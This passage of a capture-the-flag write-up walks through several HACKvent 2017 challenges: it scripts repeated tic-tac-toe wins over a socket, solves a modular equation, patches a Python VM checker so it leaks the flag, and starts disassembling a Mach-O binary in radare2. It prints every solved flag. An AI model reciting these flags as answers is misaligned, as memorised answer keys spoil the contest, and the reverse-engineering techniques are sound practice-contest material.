10: Just play the game<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: pyth0n33<\/span><br \/>\n<i>Haven&#8217;t you ever been bored at school?<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">Santa is in trouble. He&#8217;s elves are busy playing TicTacToe. Beat them and help Sata to save christmas!<\/p>\n<p>nc challenges.hackvent.hacking-lab.com 1037<\/td>\n<\/tr>\n<\/table>\n<p>Let&#8217;s give it a try:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# nc challenges.hackvent.hacking-lab.com 1037\r\n       ---_ ......._-_--.\r\n      (|\\ \/      \/ \/| \\  \\\r\n      \/  \/     .'  -=-'   `.\r\n     \/  \/    .'             )\r\n   _\/  \/   .'        _.)   \/\r\n  \/ o   o        _.-' \/  .'\r\n  \\          _.-'    \/ .'*|\r\n   \\______.-'\/\/    .'.' \\*|\r\n    \\|  \\ | \/\/   .'.' _ |*|\r\n     `   \\|\/\/  .'.'_ _ _|*|\r\n      .  .\/\/ .'.' | _ _ \\*|\r\n      \\`-|\\_\/ \/    \\ _ _ \\*\\\r\n       `\/'\\__\/      \\ _ _ \\*\\\r\n      \/^|            \\ _ _ \\*\r\n     '  `             \\ _ _ \\\r\n                       \\_\r\nChallenge by pyth0n33. Have fun!\r\n\r\nI think you know the game from school...Don't you?\r\n\r\nPress enter to start the game\r\n&amp;amp;amp;amp;lt;ENTER&amp;amp;amp;amp;gt;\r\n\r\n ------------- \r\n | * | * | * | \r\n ------------- \r\n ------------- \r\n | * | * | * | \r\n ------------- \r\n ------------- \r\n | * | * | * | \r\n ------------- \r\nMake your move. Type the number of the field you want to set! (1-9)\r\n\r\nField: 2\r\n\r\n ------------- \r\n | * | X | * | \r\n ------------- \r\n ------------- \r\n | * | O | * | \r\n ------------- \r\n ------------- \r\n | * | * | * | \r\n ------------- \r\nMake your move. Type the number of the field you want to set! (1-9)\r\n\r\nField: 3\r\n\r\n------------- \r\n | O | X | X | \r\n ------------- \r\n ------------- \r\n | * | O | * | \r\n ------------- \r\n ------------- \r\n | * | * | * | \r\n ------------- \r\nMake your move. Type the number of the field you want to set! (1-9)\r\n\r\nField: 9\r\n\r\n ------------- \r\n | O | X | X | \r\n ------------- \r\n ------------- \r\n | * | O | O | \r\n ------------- \r\n ------------- \r\n | * | * | X | \r\n ------------- \r\nMake your move. Type the number of the field you want to set! (1-9)\r\n\r\nField: 4\r\n\r\n ------------- \r\n | O | X | X | \r\n ------------- \r\n ------------- \r\n | X | O | O | \r\n ------------- \r\n ------------- \r\n | O | * | X | \r\n ------------- \r\nMake your move. Type the number of the field you want to set! (1-9)\r\n\r\nField: 8\r\n\r\n ------------- \r\n | O | X | X | \r\n ------------- \r\n ------------- \r\n | X | O | O | \r\n ------------- \r\n ------------- \r\n | O | X | X | \r\n ------------- \r\nThere is no winner...\r\n\r\nPress enter to start again\r\n<\/pre>\n<p>Ok, seems like we just have to win again the AI.<\/p>\n<p>After a few tries I entered 7, 3, 9, &#8230;<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nMake your move. Type the number of the field you want to set! (1-9)\r\n\r\nField: 9\r\n\r\n ------------- \r\n | O | * | X | \r\n ------------- \r\n ------------- \r\n | * | O | * | \r\n ------------- \r\n ------------- \r\n | X | O | X | \r\n ------------- \r\nMake your move. Type the number of the field you want to set! (1-9)\r\n\r\nField:\r\n<\/pre>\n<p>Looks good!<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n6\r\n\r\n ------------- \r\n | O | O | X | \r\n ------------- \r\n ------------- \r\n | * | O | X | \r\n ------------- \r\n ------------- \r\n | X | O | X | \r\n ------------- \r\nCongratulations you won! 1\/100\r\n\r\nPress enter to start again\r\n<\/pre>\n<p>1 of 100!? Ok, we need some automation here:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nimport socket\r\nfrom time import sleep\r\n\r\ninp_array = &#x5B;&amp;amp;amp;amp;quot;\\n&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;7\\n&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;3\\n&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;9\\n&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;6\\n&amp;amp;amp;amp;quot;]\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((&amp;amp;amp;amp;quot;challenges.hackvent.hacking-lab.com&amp;amp;amp;amp;quot;, 1037))\r\nret = s.recv(2048)\r\n\r\nidx = 0\r\n\r\nwhile True:\r\n\r\n  sleep(0.2)\r\n  s.send(inp_array&#x5B;idx%5])\r\n  ret = s.recv(1024)\r\n  print(ret)\r\n\r\n  if (&amp;amp;amp;amp;quot;100\/100&amp;amp;amp;amp;quot; in ret): quit()\r\n\r\n  idx += 1\r\n<\/pre>\n<p>After running the script and waiting for the 100th game to be won:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# .\/ticTacToe.py\r\n\r\n...\r\n\r\n ------------- \r\n | O | O | X | \r\n ------------- \r\n ------------- \r\n | * | O | X | \r\n ------------- \r\n ------------- \r\n | X | O | X | \r\n ------------- \r\nCongratulations you won! 100\/100\r\n\r\nHV17-y0ue-kn0w-7h4t-g4me-sure\r\nPress enter to start again\r\n<\/pre>\n<p>Done \ud83d\ude42<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-y0ue-kn0w-7h4t-g4me-sure<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day11\">Day 11: Crypt-o-Math 2.0<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: HaRdLoCk<\/span><br \/>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">So you bruteforced last years math lessions? This time you cant escape!<\/p>\n<p><code>c = (a * b) % p<br \/>\nc=0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783<br \/>\np=0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB<br \/>\nb=0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873<\/code><\/p>\n<p>find &#8220;a&#8221; to get your flag.<\/td>\n<\/tr>\n<\/table>\n<p>At 11:55 the numbers for the challenge have been changed, <i>due to cheating activities<\/i>.<\/p>\n<p>As stated in the challenge description we have to find a number a to satisfy the equation. Because of the quite big numbers bruteforcing doesn&#8217;t seem to be an option.<\/p>\n<p>After trying out different calculations I ended up googling for solutions to solve these kind of equations.<\/p>\n<p>This way I stumbled upon a modular equation solver ( https:\/\/www.dcode.fr\/modular-equation-solver ).<\/p>\n<p>The solver needs three input values:<br \/>\n1) the equation to solve<br \/>\n2) the modulo<br \/>\n3) the variable to solve<\/p>\n<p>At first I converted the provided values to decimal &#8230;<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# python\r\n...\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; 0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783\r\n590867720467499739656230398758801227927329092826661098133553607261505411L\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; 0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB\r\n1023659786424349813810435942750567812478342322946284370914320216115614427L\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; 0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873\r\n1419762318326277663933821153866524377417016166171412157761654041111779443L\r\n<\/pre>\n<p>and then entered:<\/p>\n<p>1)<br \/>\n<code>a * b = c<br \/>\na * 1419762318326277663933821153866524377417016166171412157761654041111779443 = 590867720467499739656230398758801227927329092826661098133553607261505411<\/code><\/p>\n<p>2)<br \/>\n<code>p<br \/>\n1023659786424349813810435942750567812478342322946284370914320216115614427<\/code><\/p>\n<p>3)<br \/>\n<code>a<\/code><\/p>\n<p>After just a few seconds the result is displayed:<\/p>\n<p><code>a = 499249475383354981071223629166886691785708084325259209724836611856232704<\/code><\/p>\n<p>Converting the result back to hex gives us the following:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; hex(499249475383354981071223629166886691785708084325259209724836611856232704)\r\n'0x485631372d7a51427a2d417744672d3146454c2d725545392d474b677100L'\r\n<\/pre>\n<p>Looks like the flag. Let&#8217;s convert it to ASCII:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; import sys\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; flag = hex(499249475383354981071223629166886691785708084325259209724836611856232704)\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; for i in range(2, len(flag)-1, 2):\r\n...   sys.stdout.write(chr(int(flag&#x5B;i:i+2], 16)))\r\n... \r\nHV17-zQBz-AwDg-1FEL-rUE9-GKgq\r\n<\/pre>\n<p>Well, quite a lazy but quick way.<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-zQBz-AwDg-1FEL-rUE9-GKgq<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day13\">Day 13: muffin_asm<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: muffinX<\/span><br \/>\n<i>As M. said, kind of a different architecture!<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">ohai \\o\/<\/p>\n<p>How about some custom asm to obsfucate the codez?<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">Download<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The provided python-script defines different assembler-instructions (<code>_add<\/code>, <code>_addv<\/code>, <code>_sub<\/code>, <code>_subv<\/code>, &#8230;) and a quite long machine-code which is executed in a while-loop.<\/p>\n<p>Assembler-instructions:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\ndef _add(r1, r2): r&#x5B;r1] = ((r&#x5B;r1] + r&#x5B;r2]) &amp;amp;amp;amp;amp; 0xFF)\r\ndef _addv(r1, v): r&#x5B;r1] = ((r&#x5B;r1] + v) &amp;amp;amp;amp;amp; 0xFF)\r\ndef _sub(r1, r2): r&#x5B;r1] = ((r&#x5B;r1] - r&#x5B;r2]) &amp;amp;amp;amp;amp; 0xFF)\r\ndef _subv(r1, v): r&#x5B;r1] = ((r&#x5B;r1] - v) &amp;amp;amp;amp;amp; 0xFF)\r\ndef _xor(r1, r2): r&#x5B;r1] = (r&#x5B;r1] ^ r&#x5B;r2])\r\ndef _xorv(r1, v): r&#x5B;r1] = (r&#x5B;r1] ^ v)\r\ndef _cmp(r1, r2): f&#x5B;0] = (r&#x5B;r1] == r&#x5B;r2])\r\ndef _cmpv(r1, v): f&#x5B;0] = (r&#x5B;r1] == v)\r\ndef _je(o): global ip; ip = (o if f&#x5B;0] else ip)\r\ndef _jne(o): global ip; ip = (o if not f&#x5B;0] else ip)\r\ndef _wchr(r1): sys.stdout.write(chr(r&#x5B;r1]))\r\ndef _rchr(r1): r&#x5B;r1] = ord(sys.stdin.read(1))\r\n<\/pre>\n<p>Machine-code:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nrun('\\x04\\x00\\x00\\x04\\x01\\x01\\x04\\x02\\x02\\x04\\x03\\x03\\x05\\x02\\xbd\\x00\\x02\\x00\\x00\\x02...\r\n... 20225 bytes ...\r\n<\/pre>\n<p>Loop with instruction pointer (ip) to run the machine-code:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\ndef run(codez):\r\n    global ip\r\n    while ip &amp;amp;amp;amp;lt; len(codez):\r\n        c_ins = ins&#x5B;ord(codez&#x5B;ip])]\r\n        if c_ins in &#x5B;_je, _jne]:\r\n            old_ip = ip\r\n            c_ins(struct.unpack('&amp;amp;amp;amp;lt;I', codez&#x5B;(ip+1):(ip+5)])&#x5B;0])\r\n            if old_ip == ip: ip += 5\r\n            continue\r\n        num_of_args = c_ins.func_code.co_argcount\r\n        if num_of_args == 0: c_ins()\r\n        elif num_of_args == 1: c_ins(ord(codez&#x5B;ip+1]))\r\n        else: c_ins(ord(codez&#x5B;ip+1]), ord(codez&#x5B;ip+2]))\r\n        ip += (1 + num_of_args)\r\n<\/pre>\n<p>When running the script you are asked to enter the flag:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# python muffin_asm.py\r\n&#x5B; muffin asm ]\r\nmuffinx: Did you ever codez asm?\r\n&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt; flag_getter v1.0 &amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;\r\nohai, gimmeh flag: test\r\n&#x5B;-] nope!\r\n<\/pre>\n<p>My first idea was to write a little disassembler to print the machine-code in assembly in order to understand what the code does. When viewing the assembler-instructions again and thinking about what the code does I thought that the most interesting assembler-instructions are <code>_cmp<\/code> \/ <code>_cmpv<\/code>, because these instructions must be used in order to compare the flag, the user entered, with the actual flag.<\/p>\n<p>Thus I added a single line in both functions to output the value of the registers \/ constant used:<\/p>\n<pre class=\"brush: python; gutter: false; highlight: [2,6]; title: ; notranslate\" title=\"\">\r\ndef _cmp(r1, r2):\r\n  print(&amp;amp;amp;amp;quot;r1=&amp;amp;amp;amp;quot;+chr(r&#x5B;r1])+&amp;amp;amp;amp;quot;, r2=&amp;amp;amp;amp;quot;+chr(r&#x5B;r2])) # ADDED\r\n  f&#x5B;0] = (r&#x5B;r1] == r&#x5B;r2])\r\n\r\ndef _cmpv(r1, v):\r\n  print(&amp;amp;amp;amp;quot;r1=&amp;amp;amp;amp;quot;+chr(r&#x5B;r1])+&amp;amp;amp;amp;quot;, v=&amp;amp;amp;amp;quot;+chr(v)) # ADDED\r\n  f&#x5B;0] = (r&#x5B;r1] == v)\r\n<\/pre>\n<p>And ran the script again:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# python muffin_asm.py\r\n&#x5B; muffin asm ]\r\nmuffinx: Did you ever codez asm?\r\n&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt; flag_getter v1.0 &amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;\r\nohai, gimmeh flag: test\r\nr1=t, r2=H\r\n&#x5B;-] nope!\r\n<\/pre>\n<p>Looks good! The instruction <code>_cmp<\/code> is called with <code>r1<\/code> being the first character of my input (<code>t<\/code>) and <code>r2<\/code> being <code>H<\/code> which could be a flag, right!? \ud83d\ude42<\/p>\n<p>Let&#8217;s input something more flag-like:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# python muffin_asm.py\r\n&#x5B; muffin asm ]\r\nmuffinx: Did you ever codez asm?\r\n&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt; flag_getter v1.0 &amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;\r\nohai, gimmeh flag: HV17-test\r\nr1=H, r2=H\r\nr1=V, r2=V\r\nr1=1, r2=1\r\nr1=7, r2=7\r\nr1=-, r2=-\r\nr1=t, r2=m\r\n&#x5B;-] nope!\r\n<\/pre>\n<p>Now script does not abort after the first character because <code>r1<\/code> and <code>r2<\/code> match for the first 5 characters. The script aborts at the 6th character because the <code>t<\/code> I entered (<code>r1<\/code>) should be an <code>m<\/code> (<code>r2<\/code>).<\/p>\n<p>So now we could just restart the script and sequentially grab every character of the flag. Or we simply adjust the <code>cmp<\/code> instruction a little bit:<\/p>\n<pre class=\"brush: python; gutter: false; highlight: [2,3]; title: ; notranslate\" title=\"\">\r\ndef _cmp(r1, r2):\r\n  sys.stdout.write(chr(r&#x5B;r2]))\r\n  f&#x5B;0] = True\r\n<\/pre>\n<p>The first added line prints a single character of the flag (value of <code>r2<\/code>). The adjustment in the second line lets the comparison always be <code>true<\/code>. Thus the script will not stop until every character of the flag is printed.<\/p>\n<p>Now we just have to input a string with the same length of the flag:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# python muffin_asm.py\r\n&#x5B; muffin asm ]\r\nmuffinx: Did you ever codez asm?\r\n&amp;amp;amp;amp;lt;&amp;amp;amp;amp;lt; flag_getter v1.0 &amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;\r\nohai, gimmeh flag: HV17-xxxx-xxxx-xxxx-xxxx-xxxx\r\nHV17-mUff!n-4sm-!s-cr4zY&#x5B;+] valid! by muffinx  if you liked the challenge, troll me @ twitter.com\/muffiniks =D\r\n<\/pre>\n<p>Done \ud83d\ude42<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-mUff!n-4sm-!s-cr4zY<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day14\">Day 14: Happy Cryptmas<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: HaRdLoCk<\/span><br \/>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">todays gift was encrypted with the attached program. try to unbox your xmas present.<\/p>\n<p>Flag:<br \/>\n7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2<br \/>\nF3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">Download<\/span><\/td>\n<\/tr>\n<\/table>\n<p>Let&#8217;s have a look at the provided program:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# unzip happy_cryptmas.zip\r\nArchive:  happy_cryptmas.zip\r\n  inflating: hackvent                \r\nuser@host:~# file hackvent \r\nhackvent: Mach-O 64-bit x86_64 executable, flags:&amp;amp;amp;amp;lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&amp;amp;amp;amp;gt;\r\n<\/pre>\n<p>So we are dealing with a Mach-O executable, used by systems based on the Mach kernel (macOS, iOS).<\/p>\n<p><code>radare2<\/code> supports Mach-O files:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# r2 hackvent\r\n&#x5B;0x100000cc0]&amp;amp;amp;amp;gt; aaaa\r\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\r\n&#x5B;x] Analyze len bytes of instructions for references (aar)\r\n&#x5B;x] Analyze function calls (aac)\r\n&#x5B;x] Emulate code to find computed references (aae)\r\n&#x5B;x] Analyze consecutive function (aat)\r\n&#x5B;aav: using from to 0x100000000 0x10000233c\r\nUsing vmin 0x100000cc0 and vmax 0x100001068\r\naav: using from to 0x100000000 0x10000233c\r\nUsing vmin 0x100000cc0 and vmax 0x100001068\r\n&#x5B;x] Analyze value pointers (aav)\r\n&#x5B;can't find function prototype for sym.imp.__gmpz_initc.* functions (aan)\r\ncan't find function prototype for sym.imp.__gmpz_init\r\ncan't find function prototype for sym.imp.__gmpz_init_set_str\r\ncan't find function prototype for sym.imp.__gmpz_init_set_str\r\ncan't find function prototype for sym.imp.__gmpz_import\r\ncan't find function prototype for sym.imp.__gmpz_cmp\r\ncan't find function prototype for sym.imp.__gmpz_clears\r\nDeinitialized mem.0x100000_0xf0000\r\n&#x5B;x] Type matching analysis for all functions\r\n&#x5B;x] Type matching analysis for all functions\r\n&#x5B;0x100000cc0]&amp;amp;amp;amp;gt; afl\r\n0x100000cc0    8 422          entry0\r\n0x100000e66    1 6            sym.imp.__gmp_printf\r\n0x100000e6c    1 6            sym.imp.__gmpz_clears\r\n0x100000e72    1 6            sym.imp.__gmpz_cmp\r\n0x100000e78    1 6            sym.imp.__gmpz_import\r\n0x100000e7e    1 6            sym.imp.__gmpz_init\r\n0x100000e84    1 6            sym.imp.__gmpz_init_set_str\r\n0x100000e8a    1 6            sym.imp.__gmpz_powm\r\n0x100000e90    1 6            sym.imp.__stack_chk_fail\r\n0x100000e96    1 6            sym.imp.abort\r\n0x100000e9c    1 6            sym.imp.strlen\r\n...\r\n<\/pre>\n<p>After analyzing the binary (<code>aaaa<\/code>) we can list all functions with the <code>afl<\/code> command.<\/p>\n<p>The number of <code>__gmpz<\/code> functions stand out. Googling for these functions revealed that GMP stands for The GNU Multiple Precision Arithmetic Library. The library provides functions for arbitrary precision calculations.<\/p>\n<p>Let&#8217;s see how these functions are used:<\/p>\n<pre class=\"brush: bash; highlight: [41,43,47,52,57,91,95]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x100000cc0]&amp;amp;amp;amp;gt; pdf @ entry0\r\n            ;-- main:\r\n            ;-- section.0.__text:\r\n            ;-- _main:\r\n            ;-- func.100000cc0:\r\n\/ (fcn) entry0 422\r\n|   entry0 ();\r\n|           ; var int local_b0h @ rbp-0xb0\r\n|           ; var int local_ach @ rbp-0xac\r\n|           ; var int local_a8h @ rbp-0xa8\r\n|           ; var int local_a0h @ rbp-0xa0\r\n|           ; var int local_94h @ rbp-0x94\r\n|           ; var int local_90h @ rbp-0x90\r\n|           ; var int local_88h @ rbp-0x88\r\n|           ; var int local_84h @ rbp-0x84\r\n|           ; var int local_80h @ rbp-0x80\r\n|           ; var int local_74h @ rbp-0x74\r\n|           ; var int local_70h @ rbp-0x70\r\n|           ; var int local_68h @ rbp-0x68\r\n|           ; var int local_64h @ rbp-0x64\r\n|           ; var int local_60h @ rbp-0x60\r\n|           ; var int local_50h @ rbp-0x50\r\n|           ; var int local_40h @ rbp-0x40\r\n|           ; var int local_20h @ rbp-0x20\r\n|           ; var int local_8h @ rbp-0x8\r\n|           ; CALL XREF from 0x100000cc0 (entry0)\r\n|           0x100000cc0      55             push rbp                   ; &#x5B;0] va=0x100000cc0 pa=0x00000cc0 sz=422 vsz=422 rwx=m-r-x 0.__text\r\n|           0x100000cc1      4889e5         mov rbp, rsp\r\n|           0x100000cc4      4881ecc00000.  sub rsp, 0xc0\r\n|           0x100000ccb      488b052e0300.  mov rax, qword &#x5B;reloc.__stack_chk_guard_0] ; &#x5B;0x100001000:8]=0 LEA reloc.__stack_chk_guard_0 ; reloc.__stack_chk_guard_0\r\n|           0x100000cd2      488b00         mov rax, qword &#x5B;rax]\r\n|           0x100000cd5      488945f8       mov qword &#x5B;rbp - local_8h], rax\r\n|           0x100000cd9      c7459c000000.  mov dword &#x5B;rbp - local_64h], 0\r\n|           0x100000ce0      897d98         mov dword &#x5B;rbp - local_68h], edi\r\n|           0x100000ce3      48897590       mov qword &#x5B;rbp - local_70h], rsi\r\n|           0x100000ce7      837d9801       cmp dword &#x5B;rbp - local_68h], 1 ; &#x5B;0x1:4]=0x7feedfa\r\n|       ,=&amp;amp;amp;amp;lt; 0x100000ceb      0f850c000000   jne 0x100000cfd\r\n|       |   0x100000cf1      c7459c000000.  mov dword &#x5B;rbp - local_64h], 0\r\n|      ,==&amp;amp;amp;amp;lt; 0x100000cf8      e935010000     jmp 0x100000e32\r\n|      |`-&amp;amp;amp;amp;gt; 0x100000cfd      488d7db0       lea rdi, qword &#x5B;rbp - local_50h]\r\n|      |    0x100000d01      e878010000     call sym.imp.__gmpz_init\r\n|      |    0x100000d06      488d7da0       lea rdi, qword &#x5B;rbp - local_60h]\r\n|      |    0x100000d0a      e86f010000     call sym.imp.__gmpz_init\r\n|      |    0x100000d0f      488d35020200.  lea rsi, qword str.F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51 ; 0x100000f18 ; section.3.__cstring ; &amp;amp;amp;amp;quot;F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51&amp;amp;amp;amp;quot; @ 0x100000f18\r\n|      |    0x100000d16      ba10000000     mov edx, 0x10\r\n|      |    0x100000d1b      488d7de0       lea rdi, qword &#x5B;rbp - local_20h]\r\n|      |    0x100000d1f      e860010000     call sym.imp.__gmpz_init_set_str\r\n|      |    0x100000d24      488d356e0200.  lea rsi, qword str.65537   ; 0x100000f99 ; str.65537 ; &amp;amp;amp;amp;quot;65537&amp;amp;amp;amp;quot; @ 0x100000f99\r\n|      |    0x100000d2b      ba0a000000     mov edx, 0xa\r\n|      |    0x100000d30      488d7dc0       lea rdi, qword &#x5B;rbp - local_40h]\r\n|      |    0x100000d34      89458c         mov dword &#x5B;rbp - local_74h], eax\r\n|      |    0x100000d37      e848010000     call sym.imp.__gmpz_init_set_str\r\n|      |    0x100000d3c      ba01000000     mov edx, 1\r\n|      |    0x100000d41      b901000000     mov ecx, 1\r\n|      |    0x100000d46      4531c0         xor r8d, r8d\r\n|      |    0x100000d49      4531c9         xor r9d, r9d\r\n|      |    0x100000d4c      488d7db0       lea rdi, qword &#x5B;rbp - local_50h]\r\n|      |    0x100000d50      488b7590       mov rsi, qword &#x5B;rbp - local_70h]\r\n|      |    0x100000d54      488b7608       mov rsi, qword &#x5B;rsi + 8]   ; &#x5B;0x8:8]=0x280000003\r\n|      |    0x100000d58      48897d80       mov qword &#x5B;rbp - local_80h], rdi\r\n|      |    0x100000d5c      4889f7         mov rdi, rsi               ; const char * s\r\n|      |    0x100000d5f      89857cffffff   mov dword &#x5B;rbp - local_84h], eax\r\n|      |    0x100000d65      899578ffffff   mov dword &#x5B;rbp - local_88h], edx\r\n|      |    0x100000d6b      48898d70ffff.  mov qword &#x5B;rbp - local_90h], rcx\r\n|      |    0x100000d72      4489856cffff.  mov dword &#x5B;rbp - local_94h], r8d\r\n|      |    0x100000d79      4c898d60ffff.  mov qword &#x5B;rbp - local_a0h], r9\r\n|      |    0x100000d80      e817010000     call sym.imp.strlen       ; size_t strlen(const char *s);\r\n|      |    0x100000d85      488b4d90       mov rcx, qword &#x5B;rbp - local_70h]\r\n|      |    0x100000d89      488b4908       mov rcx, qword &#x5B;rcx + 8]   ; &#x5B;0x8:8]=0x280000003\r\n|      |    0x100000d8d      488b7d80       mov rdi, qword &#x5B;rbp - local_80h]\r\n|      |    0x100000d91      4889c6         mov rsi, rax\r\n|      |    0x100000d94      8b9578ffffff   mov edx, dword &#x5B;rbp - local_88h]\r\n|      |    0x100000d9a      488b8570ffff.  mov rax, qword &#x5B;rbp - local_90h]\r\n|      |    0x100000da1      48898d58ffff.  mov qword &#x5B;rbp - local_a8h], rcx\r\n|      |    0x100000da8      4889c1         mov rcx, rax\r\n|      |    0x100000dab      448b856cffff.  mov r8d, dword &#x5B;rbp - local_94h]\r\n|      |    0x100000db2      4c8b8d60ffff.  mov r9, qword &#x5B;rbp - local_a0h]\r\n|      |    0x100000db9      4c8b9558ffff.  mov r10, qword &#x5B;rbp - local_a8h]\r\n|      |    0x100000dc0      4c891424       mov qword &#x5B;rsp], r10\r\n|      |    0x100000dc4      e8af000000     call sym.imp.__gmpz_import\r\n|      |    0x100000dc9      488d75e0       lea rsi, qword &#x5B;rbp - local_20h]\r\n|      |    0x100000dcd      488d7db0       lea rdi, qword &#x5B;rbp - local_50h]\r\n|      |    0x100000dd1      e89c000000     call sym.imp.__gmpz_cmp\r\n|      |    0x100000dd6      83f800         cmp eax, 0\r\n|      |,=&amp;amp;amp;amp;lt; 0x100000dd9      0f8e05000000   jle 0x100000de4\r\n|      ||   0x100000ddf      e8b2000000     call sym.imp.abort        ; void abort(void);\r\n|      |`-&amp;amp;amp;amp;gt; 0x100000de4      488d4de0       lea rcx, qword &#x5B;rbp - local_20h]\r\n|      |    0x100000de8      488d55c0       lea rdx, qword &#x5B;rbp - local_40h]\r\n|      |    0x100000dec      488d75b0       lea rsi, qword &#x5B;rbp - local_50h] ; arithmetic y\r\n|      |    0x100000df0      488d7da0       lea rdi, qword &#x5B;rbp - local_60h] ; arithmetic x\r\n|      |    